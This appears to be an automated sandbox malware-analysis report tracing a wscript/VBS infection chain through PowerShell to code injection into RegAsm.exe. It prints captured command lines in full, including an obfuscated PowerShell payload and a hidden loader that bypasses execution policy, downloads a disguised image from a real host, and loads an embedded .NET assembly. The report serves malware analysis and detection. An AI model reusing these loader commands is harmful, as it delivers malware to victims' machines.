Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu	Jump to behavior

Source: wscript.exe, 0000000A.00000003.2286789327.0000029F6DCD1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.2286595617.0000029F6DED4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.2238858765.0000029F6DAD5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.2286675126.0000029F6D8D1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2329023151.000001F06AA55000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2396936601.000001F06AE56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2397024249.000001F06A851000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2397129579.000001F06AC51000.00000004.00000020.00020000.00000000.sdmp, osma.vbs.7.dr	Binary or memory string: cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Hyper-V-VMMS-Networking"" " & vmmslogFileName
Source: wscript.exe, 00000000.00000002.1866551280.000001C3F5FAC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1863180766.000001C3F5FAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX-5T
Source: osma.vbs.7.dr	Binary or memory string: "$output += ""(Get-VMNetworkAdapter -all)""; " & _
Source: powershell.exe, 00000013.00000002.3179144736.0000000007BE2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_
Source: wscript.exe, 0000000A.00000003.2286789327.0000029F6DCD1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.2286595617.0000029F6DED4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.2238858765.0000029F6DAD5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.2286675126.0000029F6D8D1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2329023151.000001F06AA55000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2396936601.000001F06AE56000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2397024249.000001F06A851000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2397129579.000001F06AC51000.00000004.00000020.00020000.00000000.sdmp, osma.vbs.7.dr	Binary or memory string: cmd = "cmd /c wevtutil epl System /q:""*[System[Provider[@Name='Microsoft-Windows-Hyper-V-VmSwitch']]]"" " & vmswitchlogFileName
Source: wscript.exe, 00000000.00000002.1866018644.000001C3F3DFC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1863420731.000001C3F3DFA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1866551280.000001C3F5FAC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1863180766.000001C3F5FAC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2488334670.0000000002762000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2489314469.000000000595D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2515627067.000000000595D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2508473121.0000000002763000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2499720359.000000000580C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2514604768.0000000002D28000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2517417922.0000000005804000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000013.00000002.3176873655.0000000007AF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: wscript.exe, 0000000A.00000003.2239744450.0000029F6DA1D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.2240412382.0000029F6DA23000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2331067875.000001F06A9A3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2330522107.000001F06A99D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @cmd /c wevtutil epl "Microsoft-Windows-Hyper-V-VMMS-Networking" rt></Analy
Source: wscript.exe, 0000000D.00000003.2330522107.000001F06A99D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ntEl*$output += "(Get-VMNetworkAdapter -all)"; GetEpn
Source: wscript.exe, 0000000A.00000003.2239744450.0000029F6DA1D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000003.2240412382.0000029F6DA23000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2331067875.000001F06A9A3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000D.00000003.2330522107.000001F06A99D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iJOpti`cmd /c wevtutil epl System /q:"*[System[Provider[@Name='Microsoft-Windows-Hyper-V-VmSwitch']]]" act
Source: powershell.exe, 00000014.00000002.3174766864.00000000071C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000013.00000002.3179144736.0000000007B93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllss

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 172.67.19.24 443

Jump to behavior

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_8128.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_3632.amsi.csv, type: OTHER
Source: Yara match	File source: amsi32_1220.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1220, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40A000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 40C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BF0008	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 10F7008
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 470000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 472000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 9FE008

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.irpawx/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'osma','RegAsm',''))} }"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\osma.vbs"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\fbshgr.vbe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\oahxgk.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDg	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTre